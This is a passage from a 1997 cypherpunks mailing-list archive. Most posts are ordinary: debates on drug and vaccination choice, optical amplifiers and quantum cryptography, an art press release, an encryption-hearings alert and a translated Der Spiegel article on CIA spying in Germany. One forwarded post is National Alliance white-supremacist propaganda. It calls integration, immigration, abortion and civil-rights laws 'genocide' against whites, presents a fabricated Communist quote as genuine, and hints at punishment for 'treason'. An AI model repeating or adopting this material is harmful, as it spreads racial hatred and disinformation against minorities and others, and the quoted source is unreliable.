As a sort of "Neo-Calvinist" (if you haven't seen my spiel on this, sorry
but I don't have time now...try the archives), I think it profoundly
immoral to take away the choices of others. If one's neighbor is not
allowed to kill himself with drugs and alcohol, he is denied the  ability
to make a choice.

(The issue of alcholics or drug users killing _others_ is of course a
different, and separable, issue. I have nothing against drunk driving laws,
for example.)


--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan.Oelke@rdxsunhost.aud.alcatel.com (Daniel R. Oelke)
Date: Tue, 18 Mar 1997 08:22:28 -0800 (PST)
To: rah@shipwright.com
Subject: Re: Dark Fiber Redux
Message-ID: <199703181622.KAA01573@spirit.aud.alcatel.com>
MIME-Version: 1.0
Content-Type: text/plain



> 
> The implications for cryptography are rather cool. I don't *think*  these
> doped optical amplifiers interfere with so-called quantum cryptography (not
> to be confused with quantum computing, of course). If I remember my SciAm
> back issues, quantum crypto is cool, because if anyone touches the signal
> from Alice to Bob they're detected immediately. Or, is it that the signal
> drops? Can't remember which. Anyway, you need uninterrupted fiber to do QC,
> and that's what you have with optical non-switched amplification, whether
> you're disturbing the photons is another story. Anyone here know for sure?
> I remember discussion about this, but I don't remember the answer.
> 

I am not an expert in the *exact* physics of quantum crypto or of 
optical amplifiers, but I do have a least a college "modern physics"
level of understanding of both.  (and write software for a lot of
fiber optics hardware)

Quantum Crypto depends on the fact that you can't observe
the photons without disturbing them, and that this disturbance
would be detectable at the receiver.  
(i.e. Heisenberg's uncertainty principle at work)

Optical Amplifiers work by receiving a relatively small 
number of photons, and passing them through a device 
where each photon creates in effect a cascade of photons
to be generated thereby amplifying the signal.

Now, this cascade mechanism in itself might be enough "measurement"
to cause problems - but I don't know - and won't persue this
avenue further.

The problem is that while the waveform will be propagated, the
orignal photons won't necessarily make it from one end to the
other.  Without these original photons making the entire 
journey I don't see how the quantum crypto would work.

There are also pratical limitations on the number of optical
amplifiers you can have in a system before having an
electrical regenerator.  Typical numbers are around 5 
amplifiers, eaching going about 80km.  This doesn't 
allow for around the world pure glass communications. ;-(

Dan
--------------------------------------------------------------------------
Dan Oelke - droelke@aud.alcatel.com        Alcatel Telecom, Richardson, TX

There's a Wocket in my Pocket, And a Findow in my Window, 
And a Nook Gase in my Book Case





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 18 Mar 1997 08:56:09 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <9HHR4D12w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970318114803.7094A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


*sigh* I'm responding to Vulis...

The short answer, perhaps, is that government should as a general rule
adopt those policies that allow the greatest freedom over the long term.
Private social pressure from families and communities may then develop
into a more powerful force.

-Declan


On Tue, 18 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> > As you know, every year there are a certain number of child deaths as a
> > result of reactions to state-mandated innoculations/vaccinations.  Gone too?
> >
> > Perhaps the difference, or rationale, here is the possible spread of disease
> > to others, rather than trying to protect the individual from himself.
> 
> Suppose X chooses to innoculate their kids and Y chooses not to innoculate
> their kids against, say, polio; and Y's kids get it. They're not going
> to give it to someone whose parents chose to innoculate them. (This is
> a kind of borderline example, not unlike circumcision.  The individual
> affected by the choice is too young to understand what it's all about,
> but doesn't want to be stuck with a needle. Why are the parents more
> qualified to make decisions for him than the state?)
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: List-Owner <sara@diacenter.org>
Date: Tue, 18 Mar 1997 10:51:03 -0800 (PST)
Subject: Dia_Press_Release.Donegan_Web_Project
Message-ID: <199703181255.MAA21310@diacenter.org>
MIME-Version: 1.0
Content-Type: text/plain


Dia Center for the Arts press release 3/12/97   

Cheryl Donegan: Studio Visit



Studio Visit, a work for the world wide web by Cheryl Donegan, will be

launched on March 20, 1997, at http://www.diacenter.org/donegan/. For

Studio Visit, Donegan has put together a visually rich and playful

interface constructed from imagery she has utilized in her studio practice.

Film frames, TV screens, thumb prints, detergent bottles, and Newport

cigarette's advertising campaign are some of the sources of the motifs she

adopted and recreated for the site. Studio Visit also includes a series of

images of Donegan at work in her studio over the course of a day. Opting

for "low-tech" tricks, she has created an interactive experience from a

combination of gif animations, frames, refreshes, mouse-overs and other

devices inherent to the web.



Donegan's previous work has encompassed video, painting and performance,

often putting an ironic and irreverent spin on conventions of art practice

and art history. For example, several of her videos portray the artist

executing simple, conceptual performances which result in paintings or

drawings generated by various parts of her body. In Studio Visit, Donegan

has transformed her experimentation with the language of painting into the

medium of the web with wit and humor.



Cheryl Donegan was born in New Haven, Connecticut in 1962, and studied at

the Rhode Island School of Design in Providence and at Hunter College in

New York. Her first one-person show was at the Elizabeth Koury Gallery in

New York in 1993, with more recent solo exhibitions at Basilico Fine Arts

in New York, Galerie Rizzo in Paris, and currently, at the Baumgartner

Gallery in Washington, D.C. She has exhibited widely in group shows in the

United States and Europe. One of her works is currently on view at the

Museum of Modern Art in "Young and Restless," an exhibition of contemporary

video art by young artists working in New York City.



Dia Center for the Arts is a tax-exempt charitable organization.

Established in 1974, the organization has become one of the largest in the

United States dedicated to contemporary art and contemporary culture. In

fulfilling this commitment, Dia sustains diverse programming in poetry,

arts education, and critical discourse and debate via lectures and

symposia.



In addition, it maintains on a long-term basis works of art not easily

accommodated by conventional museums. Dia serves as a conduit for realizing

these projects, as intimated by the Greek word from which it takes its

name. Dia's long-term projects include Joseph Beuys's 7000 Oaks; Walter De

Maria's The Broken Kilometer, The Lightning Field, and The New York Earth

Room; La Monte Young and Marian Zazeela's Dream House and The Dan Flavin

Art Institute; Cy Twombly Gallery; and the Andy Warhol Museum.



Current programs are supported in part by funds from the National Endowment

for the Arts; the New York State Council on the Arts; and the New York City

Department of Cultural Affairs; The Ministry of Foreign Affairs of the

Federal Republic of Germany through the German Consulate General of New

York; Axe-Houghton Foundation; The Bohen Foundation; The Brown Foundation;

The Cowles Charitable Trust; The Getty Grant Program; The Graham Foundation

for Advanced Studies in the Fine Arts; Lannan Foundation; Robert Lehman

Foundation, Inc.; The Andrew W. Mellon Foundation; Arthur Ross Foundation;

The Juliet Lea Hillman Simonds Foundation; Lila Acheson Wallace Theater

Fund at Community Funds, Inc.; AT&T; Calvin Klein, Inc.; The Chase

Manhattan Bank; Hachette Filipacchi Magazines; Philip Morris Companies

Inc.; Tag Heuer; Wenner Media Inc.; and the individual members of the Dia

Art Council.



For information about this and other Dia programs, please contact Jennie Prebor

at tel: (212) 989-5566, fax: (212) 989-4055, e-mail: jennie@diacenter.org      

Dia Center for the Arts                                                        

542 West 22nd Street, New York, NY                                             

http://www.diacenter.org                                                       

To unsubscribe from this list, please send a message to webmaster@diacenter.org 

with "unsubscribe press list" in the subject.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Voters Telecommunications Watch <shabbir@democracy.net>
Date: Tue, 18 Mar 1997 11:37:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703181936.OAA03406@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


===========================================================================
     _                                                             _   
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_ 
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_ 
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/  

Bringing democracy to the Internet                 http://democracy.net
Do not circulate after March 25, 1997                    March 18, 1997

___________________________________________________________________________
Table of Contents
        How You Can Participate
        Upcoming Events
        How You Can Participate In The Upcoming Encryption Hearings
        About democracy.net

___________________________________________________________________________
HOW YOU CAN PARTICIPATE

The democracy.net project aims to make citizens a greater part of the
policy process through the use of Internet technology.  For more information
please check our site's "About Us" section at http://democracy.net.

There are two ways you can participate in the policy process.

1. Attend the Senate Pro-CODE hearing Wed., March 19th 2PM EST
Come, listen to the hearing through RealAudio, pose questions to the
Senators, and discuss the legislation with others.

2. Submit your comments to the House Judiciary hearing 
On Thursday March 20th, 9:30AM EST, the House Judiciary committee will
be holding a hearing on the S.A.F.E. bill (H.R.695).  We'll try to
tape it for the site and submit your testimony for the record at the
hearing.

___________________________________________________________________________
UPCOMING EVENTS

March 19, 2PM EST: SENATE COMMERCE COMMITTEE HEARING ON S.377 (PRO-CODE)

  democracy.net has teamed up with the Senate Commerce Committee to
  provide live audio, live photos, a form for you to submit your own
  questions and testimony, and an interactive chat where you can talk
  to policy makers and members of Congress.  To join the event, simply
  go to http://democracy.net and follow the links!

  The following witnesses are scheduled to testify at the hearing.  You can
  learn more about them, read their biographies, and submit your own questions
  to the Senators at http://democracy.net

  Panel 1
    . Hon. Louis Freeh, Director, FBI
    . Mr. William Reinsch, Undersecretary, Bureau of Export Administration,
         US Dept. of Commerce
    . Mr. William P. Crowell, Deputy Director, National Security Agency
    . Hon. David L. Aaron, U.S. Permanent Representative to the Organization
         for Economic Cooperation and Development

  Panel 2
    . Mr. James Barksdale, CEO, Netscape Communications, Inc.
    . Mr. Joseph R. Kretz, Director, Information Technology Security &
         Standards, FMC Corporation
    . Mr. Ed Black, President, Computer and Communications Industry
         Association

March 20, 9:30AM EST: HOUSE JUDICIARY COMMITTEE HEARING ON H.695 (S.A.F.E)

  Although this won't be cybercast live, we'll be bringing you the
  audio of the hearing on the page within the next 24 hours, along with
  copies of testimony presented at the hearing.  You can also be able
  to submit your own testimony for the record.

April 3, 8:30PM EST: Online town hall meeting with Rep. Rick White (R-WA)
April 16, 8:30PM EST: Online town hall meeting with Rep. Anna Eshoo (D-CA)

  At these town hall meetings, moderated by Wired Magazine's
  Cyber-Rights editor Todd Lappin, you'll be able to pose questions to
  the members of Congress, listen to their answers through live audio,
  discuss their answers with other net users, and more!

___________________________________________________________________________
ABOUT DEMOCRACY.NET
        
The democracy.net project is dedicated to exploring ways of enhancing
citizen participation in the democratic process via the Internet. To
this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy
makers.  By participating in these forums, you can make your voice heard
in the process.   You can subscribe to receive democracy.net alerts at
http://democracy.net/

===========================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: advinfo@dreamon.com (Adv Info)
Date: Tue, 18 Mar 1997 12:28:23 -0800 (PST)
To: advinfo@dreamon.com
Subject: ADV Weekly Transcripts
Message-ID: <332EFA54.1280@dreamon.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 

If you would like to unsubscribe to this service, please e-mail
advinfo@dreamon.com. For more information visit the National Alliance
web site at http://www.natall.com. For patriotic books, tapes and
videos, visit National Vanguard Books Online Catalog at
http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com
--------------------------------------------
American Dissident Voices Online Radio
http://www.natall.com/radio/radio.html

It's Genocide

by Robert Thompson 

Those who listen regularly to this program know that I am steadfastly
opposed to what is called "The New World Order," that is, I am opposed
to the establishment of world government under the United Nations and
other international entities. 

The establishment of world government, which is taking place now and has
been taking place since the War to Impose the New World Order ended in
1945, will mean the end of American freedom. 

We have reached the point where the President of the United States feels
more obligated to obtain United Nations permission for US military
action than he feels obligated to obtain authorization from Congress. 

Since we are so far down this dangerous road, I think it is wise to step
back and look at the ostensible purposes of the United Nations, and how
well its actions stand up to its professed principles. 

One of those professed principles is opposition to genocide, that is,
the attempted destruction of a people. Let us look at the UN definition
of genocide. 

The following quote is from the United Nations "Genocide Convention": 

"Acts Constituting Genocide "Article II "In the present Convention,
genocide means any of the following acts committed with intent to
destroy, in whole or in part, a national, ethnic, racial or religious
group, as such: "(a) Killing members of the group; "(b) Causing serious
bodily or mental harm to members of the group; "(c) Deliberately
inflicting on the group conditions of life calculated to bring about its
physical destruction in whole or in part; "(d) Imposing measures
intended to prevent births within the group; "(e) Forcibly transferring
children of the group to another group." 

Genocide, by the above definition, applies to national groups, including
Americans; and ethnic groups, including people of European descent in
the United States and South Africa; as much as any other groups. It is
my contention that the people of European descent of this world are the
targets of a constant, consistent, systematic, sustained campaign of
genocide, with the intention of humiliating, subjugating, and eventually
eliminating our people. This is being accomplished on two levels: by
means of both overt and covert government coercion; and by means of both
an open psychological warfare campaign and, using sophisticated psywar
techniques, a subliminal psywar campaign. 

Think about racial integration. The laws which formerly protected the
freedom of association of different racial groups, who in all of
recorded history have shown a strong tendency to segregate themselves
and evinced a strong desire to live among their own kind and by their
own values, were all reversed by illegal decrees of a leftist Supreme
Court, until today freedom of association is virtually illegal, except,
so far, in the bedroom. All human societies, and indeed all forms of
higher life on this planet, require an exclusive territory for their
survival. Nations and species both defend their territories, sometimes
unto death, because that truth is graven upon their hearts at a very
deep, instinctual level. It is this inner knowledge of the need for an
exclusive territory that makes us naturally group together along ethnic
lines and makes our young men willing to fight and die to keep our
territory -- our country -- for ourselves. We cannot survive unless we
have a territory exclusively our own. Integration takes that away from
us. 

According to section C of the Genocide Convention, genocide is
"Deliberately inflicting on the group conditions of life calculated to
bring about its physical destruction in whole or in part." One look at
the interracial murder and interracial rape statistics put out by the
FBI is enough for any reasonable person to see that Americans of
European descent have been under a constant physical assault, due in no
small part to the promotion of "integration." And "integration" has
destroyed our criminal justice system; the guilty often go unpunished or
the innocent are persecuted, not on the basis of the evidence, but based
on the racial composition of the jury, which is acknowledged even by the
news media to be one of the most important factors in the outcome of a
trial. 

One particularly horrible consequence of "integration" is the forced
taking of our innocent little children, some of them only five years
old, and bussing them into the Third World war zones that so many of our
cities have become; or bussing the warring gangs into our neighborhoods
-- all in the name of "integration." According to section E of the
Genocide Convention, genocide is defined as "Forcibly transferring
children of the group to another group." Even though decent and
thoughtful members of many races have been against it from the
beginning, our masters are now accelerating a push to promote
interracial adoption as a government policy, opposition to which will be
punishable by law. This also fits the definition of genocide under
section E. 

Section B of the Genocide Convention defines genocide as "Causing
serious bodily or mental harm to members of the group." We have
discussed bodily harm -- what about mental harm? To be healthy, every
child and every adult must have a positive sense of identity. In the
United States, our schools used to teach our children about the positive
contributions of our race, which founded America and Western
Civilization itself. We taught our children to respect the cultures of
other peoples, yes, but also to revere and honor our people's
achievements, from the Iliad to Shakespeare, from Stonehenge to the
transistor to the walk on the moon. And they were acknowledged as OUR
achievements! But under the current regime of Political Correctness it
is considered evil to acknowledge the fact that ours is a European
civilization. Our achievements may not be mentioned in class or textbook
unless in the same breath an African, an Oriental, or a lesbian
Communist is given equal billing, and historical accuracy be damned! The
desire of people to live among their own kind is called "racism," and
guilt for this imagined sin is inculcated among our young people in
almost every book, television program, motion picture or even computer
game that is made available to them. They are told that their ancestors,
who built America and the West, were wrong and that only the
Communist-inspired "civil rights" revolution of the last few decades has
finally set things right. They are spoon-fed a moral outlook on the
world in which anything which tends to the survival and advancement of
White Americans is deemed evil, and everything which tends to our
extinction is deemed good, by definition. This alien morality, which
does no race any good except our self-appointed masters, has grievously
injured two entire generations of our people. It is sick -- it is evil
-- and it is undoubtedly genocide -- "causing serious mental harm to the
members of the group." 

Section D of the Genocide Convention defines genocide as "imposing
measures intended to prevent births within the group." Ask yourself this
question: What has been the demographic result of all the so-called
"feminist" agitation of the last few decades? Has it resulted in a
significant reduction in the numbers of the Third Worlders now crowding
our cities? Are illegal Mexican immigrant women or inner city welfare
mothers now taking up careers and foregoing children until they're
nearly forty? Or is it traditional European-American women who have
decided that there are things more important than the creation and
raising of the next generation of our people? 

We as a people are not even replacing ourselves. We are starting our
families later if at all, and few women have the three children
necessary to maintain our numbers. The promotion of abortion on demand
has also made little dent in the mushrooming population of non-Americans
within our borders, but it has convinced many millions of our own people
that slaying their children in the womb, for no better reason than
personal convenience, is a good and laudable idea. A whole generation
has thus been killed and will never see the light of day -- yet another
reason why the portion of the population of European descent is in
precipitous decline. Other anti-birth policies include the media and
government campaigns to promote and legitimize homosexuality. 

Is there an identifiable power structure within America which is
"imposing measures intended to prevent births within the group"? You bet
there is! 

We have not yet addressed section A of the convention, "killing members
of the group," but when the New World Order boys have succeeded in
disarming us we shall see what their intentions really are in that
regard. 

Also ongoing is a slow war against us now being waged in our inner
cities; and there is also the fact, exposed many times on this program,
that most of the wars of this century have been engineered for the
benefit of the New World Order elitists -- and it is our fathers,
brothers, and sons who do the dying. 

Is multi-racialism genocide? Yes it is. 

Is multi-culturalism genocide? Yes it is. 

Is teaching minorities self esteem while teaching Whites "sensitivity"
genocide? Yes it is. Is diversity indoctrination genocide?
Yes it is. 

Is toleration of illegal immigration genocide? Yes it is. 

Is any non-White immigration, except perhaps for diplomatic and consular
representatives, genocide? Yes it is. 

Do anti-discrimination laws constitute genocide? Yes they do. 

Do "hate crime" laws constitute genocide? Yes they do. 

Does support of convenience abortion constitute genocide? Yes it does. 

Does promotion of homosexuality constitute genocide? Yes it does. 

Is suppression of information on racial differences genocide? Yes it is. 

Is inhibiting research on racial differences genocide? Yes it is. 

Is "affirmative action" genocide? Yes it is. 

Is the subliminal or overt promotion of interracial sex on TV genocide?
Yes it is. 

Does failure to provide equal media time to Whites to further their
cause, constitute genocide? Yes it does. 

Does the undermining of loyalty of White Americans to their own people
constitute genocide? Yes it does. 

Does undermining the sovereignty of our nation and the promotion of
world government constitute genocide? Yes it does. 

It is not necessary to use gas chambers to commit genocide. 

Some of our own people, in order to gain favor with a treacherous and
disloyal elite, find it to their own advantage to sacrifice the
integrity of our country and our people, for money or power. Some of our
people would rather surrender and grovel than fight. As long as they are
able to go along to get along, they pretend to ignore the decay and
collapse of our civilization brought about as a direct result of the
genocidal program being imposed upon us. I believe the day is coming
when they must answer for their treason. If that day does come, and I
believe it will, they will find their answers falling on deaf ears.
"Treason, how be it punished...?" 

Those who promote the New World Order today are the spiritual and in
some cases the physical cousins of those who founded Communism. Though
the overtly Communist attempt at world government foundered on its
economic failures, we make a big mistake if we think that the danger is
passed. 

Those who created Communism in the first place as an instrument for
world control are very much alive, and their evil dream of world
government is now being achieved. They have always been friendly toward
Communism, though they favor its objectives secretly. They use code
words like "restoring democracy" while they impose Communist tyrannies
on South Africa and Haiti. They hate all races, but they especially hate
our race -- for our nations, once awakened, have the potential for
defeating their evil schemes. 

Let us see whether or not the current plan for "integration" matches
Communist objectives. 

England's leading Communist writer in the early part of the twentieth
century had long range plans for the race problem. 

He had this to say in his book, A Racial Program for the 20th Century,
as printed in the Congressional Record for 1957, page 8559: 

"In America, we will aim for a subtle victory. While inflaming the Negro
minority against the whites, we will endeavour to instill in the whites
a guilt complex for their exploitation of the Negroes. We will aid the
Negroes to rise to prominence in every walk of life, in the professions
and in the world of sports and entertainment. With this prestige, the
Negroes will be able to intermarry with the whites and begin a process
which will deliver America to our cause." 

Well, there it is. Straight from the horse's mouth. I want you to pay
particular attention to the statement, and I emphasize: "...we will
endeavour to instill in the whites a guilt complex for their
exploitation of the Negroes." Despite the fall of the Soviet Union, the
Soviet psychological warfare people, with the help of their agents of
influence in the West, have succeeded beyond their wildest dreams. 

Now, I personally believe it is time to undo, by every legal means
possible, the greatest Soviet psychological warfare triumph. In fact it
is the greatest triumph for any psychological warfare campaign ever
waged -- racial "integration" in the United States. Of course the
Communists' powerful allies helped, and these "helpers" are very much
with us today in America. 

In 1928 Communist writer Joseph Pogany was sent to the United States by
Moscow with the mission of implementing the Soviet racial agenda in
America. Writing in the Communist newspaper, The Daily Worker, under the
name of Joseph Schwartz, this Communist laid out his party's program for
the racial destruction of this country. The program was: 

"1. Abolition of the whole system of race discrimination and insure full
racial equality; "2. Insure the Negroes the right to vote; "3. Abolish
all Jim Crow laws and forbid discrimination against Negroes in selling
or renting houses; "4. Abolish all laws forbidding intermarriage of
persons of different races; "5. Assure full integration of public
schools and universities; " 6. The equal admittance of Negroes to
railway stations, waiting rooms, hotels, restaurants and theaters; "7.
Full integration of the Army and Navy; "8. Allow Negroes to join all
labor unions; "9. Equal employment opportunities for Negroes." 

Now, do these measures have a familiar ring to them? Of course they do.
This is what became the American "civil rights" movement. This was the
blueprint. People tell us that "integration" will make us a better and
stronger country. Do you believe that the Soviets would have done
anything to make our country stronger or better? Do you expect me to
believe that? To anyone who was gullible enough to accept all or any
part of this agenda I say this: Lenin had an expression for you. He
would refer to those in the West who consciously or unconsciously served
Soviet interests as his "useful idiots." 

At this point we can expect to hear the whines, the bleats, and the
snivels: "I don't care if we were led by the nose on the race issue by
the Communists, it was right!" If you think that our fractured and
disintegrating society is better even for the Blacks than the strong,
confident, prosperous and peaceful America before the "civil rights"
revolution then you are truly living in a dream world. Forced
"integration" of widely differing peoples never works -- it only
destroys. History abounds with examples. Remember, most of the Third
World people who have been encouraged and allowed to come here are not
America's real enemies. They are only taking advantage of a situation
created by America's enemies. Their culture and survival, too, are in
peril from the New World Order multicultural agenda. America's enemies
are those who created and are pushing that agenda. 

To oppose the genocidal program of the New World Order, we must say some
things that our masters have decided we are not supposed to say. They
want to homogenize us all and destroy all races and nations to fulfil
their dream of world conquest.

To destroy national and racial identity and feelings is their number one
goal -- because such feelings are the major stumbling block in the path
of "one world." Instead of armies, in America our enemies have conquered
us by infiltration of our government and our media -- they have
conquered our minds -- but they have not conquered all of us. Some of us
know that we must oppose the genocide of our people. We know in our
hearts that we are not "haters," and that our struggle for freedom and
independence is not based on a hatred of others or other cultures, for
which we of course should show due respect, but based instead upon a
love for our children, and their children, and the uncounted generations
to come, and on a determination that the light represented by our
Western civilization shall never be extinguished. 

~
For more information or to find out how you can join the leading
patriotic organization in the world today, visit the National Alliance
web site and read "What is the National Alliance" at
http://www.natvan.com/WHAT/WHATDIR.HTML.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 18 Mar 1997 17:12:28 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <9HHR4D12w165w@bwalk.dm.com>
Message-ID: <199703181918.TAA17082@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <9HHR4D12w165w@bwalk.dm.com>, on 03/18/97 at 06:21 AM,
   dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:


>camcc@abraxis.com (Alec) writes:

>> Tim,
>>
>> There would be more room if your sig weren't so long. :->

>Guys with short dicks use long sigs.

>> As you know, every year there are a certain number of child deaths as a
>> result of reactions to state-mandated innoculations/vaccinations.  Gone too?
>>
>> Perhaps the difference, or rationale, here is the possible spread of disease
>> to others, rather than trying to protect the individual from himself.

>Suppose X chooses to innoculate their kids and Y chooses not to innoculate
>their kids against, say, polio; and Y's kids get it. They're not going to
>give it to someone whose parents chose to innoculate them. (This is a kind
>of borderline example, not unlike circumcision.  The individual affected
>by the choice is too young to understand what it's all about, but doesn't
>want to be stuck with a needle. Why are the parents more qualified to make
>decisions for him than the state?)

The issue of who is more qualified is irrelevent.

The parents are the ONLY ones who have a right to determin the welfare of
their childern. If the parents determin that the risks of reaction to the
innoculation outways the benifits that choice is their's and their's alone.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows isn't crippleware: it's "Fuctionally Challenged"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Mar 1997 17:09:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: US Spies Vacuum Germany
Message-ID: <1.5.4.32.19970319010152.0082f174@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


This week's Spiegel has a three-page follow-up article on the CIA spy:

Der Spiegel No. 12 / 1997, pp. 34-36.

Espionage / "Dinner for Two"

  For almost three years, a CIA agent has pumped a Head of Unit in
  Bonn's Economy Ministry.  The US agencies' wild actions no longer
  are taboo.

The official Klaus Dieter von Horn, 60, ex officio is on the guard of
spies - the Superior Counsellor in the Economy Ministry is responsible
for the Arabian area.  As the head of unit VB7 - that concentrates on
Iran - knows, spies from the Near East, but also from other areas,
take a keen interest in the files on his desk.

Nevertheless, at first the official did not pay much attention to
Geoffry Plant's efforts.  After all, he was in diplomatic duty of the
big brother USA.  Horn and Plant got to know each other late in 1994,
and the American invited the German to a dinner for two every three or
four weeks.  The US embassy's IInd Secretary liked to chat about his
employer and kept asking even more questions about Horn's ministry.

He had Horn explain the political background of the Mykonos lawsuit,
and was interested in the Hermes credits to Iran.  When Bonn in August
1995 asked Iran to send two employees of their office in Bonn on
vacation without return tickets because they had been unveiled as
spies, Plant wanted to know all details.

Another time, he politely asked for a list of those firms that deliver
all sorts of goods, especially high tech, to the Mullahs' state.  The
Ministerial Counsellor remained courteous, but refused: He was not
allowed to hand over those papers, Plant surely knew that?  The
American did understand, but he would not give up.

Last year in May, he again invited Horn to dinner.  He was leaving the
embassy, he said, and on farewell still handed over a Montblanc pen of
almost 300 DM worth.  Also, he introduced his successor: Peyton K
Humphries, a diplomat working on Iran.  Plant asked him not to forget
that name.

That was for granted.  Other authorities were already awaiting the US
embassy's new second secretary with large interest: The German
intelligence agencies wanted to check if the Americans were willing to
continue the agents game in diplomatic undercover.

Because already in Summer 1995, after the first talks with Plant, wary
Horn had contacted the Bundesnachrichtendienst (BND) and the Bundesamt
für Verfassungsschutz (BfV).  Obviously, he reported, American spies
were assigned to him.

He correctly informed the BfV about the various meetings and also
handed over presents such as pens and champagne.  Then, as Humphries
queried him about the ongoing construction of the nuclear power plant
of Busher after his return from a trip to Teheran, Horn described the
US interest in full detail.

What was happening there, was a textbook case to the BfV agent
hunters: Spies from a foreign power wanted to recruit a German top
official.  It is the spy school's ABC to first give the source test
orders such as obtaining material from an open source - as in Horn's
case.  Also typical: The German was supposed not to talk to anyone
about the encounters, including US embassy staff.  Humphries: "There
are two competing camps."  The CIA and the embassy's economy department
don't get on well with each other.

After the German counterespionage experts had dropped all plans to
crack the US embassy that lies at the Rhine like a fortress at
Deichmanns Aue 29, or to tap Humphries' telephone, in this February
BfV head Peter Frisch talked to the head of the CIA in Bonn, Floyd L
Paseman.  Humphries, Frisch demanded, was to leave the country, the
Chancellor's Office and the Foreign Office were annoyed.

Paseman denied espionage, but assured that the CIA agent would leave
until May 30.  He insistently asked to handle the incident most
discreetly.

It failed.  Since Der Spiegel reported first details about the
snooping last week, the relations between the goverment and Washington
are not free from irritations.

In the US, comparisons were made with France kicking out four CIA
agents in 1995.  "Why do the United States spy out their friends?"
the Wall Street Journal asked.  "Shame", said the Chicago Tribune's
editorial.  Washington still treated Germany as an agents center like
"in the age of Cold War".

The timid in Bonn now are afraid of trouble with the big brother.  But
there also is relief.  Kicking the CIA man out gives the chance to no
longer treat espionage among friends as a taboo.

Six and a half years after re-unification and the end of the allied
forces' privileges in Germany, the Germans in the conspirative area
still are not the masters of their own house.  Still, some Western
agencies - the Americans at the head - act like in their own backyard.

Hortensie I, the BND's synonym for the CIA, and Hortensie III, as the
most sinister American intelligence agency, the National Security
Agency (NSA) is referred to, resemble the flower of the same name: a
shrublike plant with strong roots.

The "friendly agencies" are increasingly active in the capital,
Berlin's Secretary of State of the Interior Kuno Böse (CDU) reported
in February.  In mid-February, the heads of the Offices for the
Protection of the Constitution met in Bad Neuenahr to "re-structure
counter-intelligence".  "Focussing on the East", they noted as item 4,
"would not correspond to political reality any more".

Looking to the West shows surprising activity: More than 1,000 wiretap
technicians and 100 professional US agents bustle about in Germany,
security experts estimate.  20 intelligence officers are suspected in
the American embassy at the Rhine alone.

The friendly power's spies are in consulates, allied supreme command,
and barracks.  They try to recruit agents in Germany, they tap sources
without consultation, and whoever uses a telephone between the Alps
and the Baltic Sea must be aware that the NSA be switched in -
attention, the friend is listening.

Before 1990, the American eavesdroppers were ubiquitious.  They
maintained a listening post on the mountain Teufelsberg in Berlin, to
listen to East Berlin, and probably the West as well.  In Frankfort am
Main, close to the Zeil, there was another impressive listening post.

In the Lech plain near Gablingen, the Americans constructed a powerful
circular antenna grid - some 300 meters of diameter and 100 meters of
heigth.  Upside, they were listening on short wave to the Eastern
generals' orders.  What they were doing in the underground, has
remained their secret.

The Teufelsberg has been left, as the Americans moved further to the
East.  The Frankfort subsidiary has also been closed, and Gablingen
will be given up next year.

But the Americans' pride, their "giant ear" in Germany, will remain,
and it makes the ordinary wiretap look rather ordinary.  The site is
located in Bad Aibling, Upper Bavaria.  In an idyllic landscape, the
empire of Hortesie III extends immensely.  Gigantic antenna facilities
that in their covers rise above the plain like huge gulf balls are
eavesdropping Russian military.  Russian sattelites are tapped, the
telephone traffic directed to the formerly Soviet army is recorded.

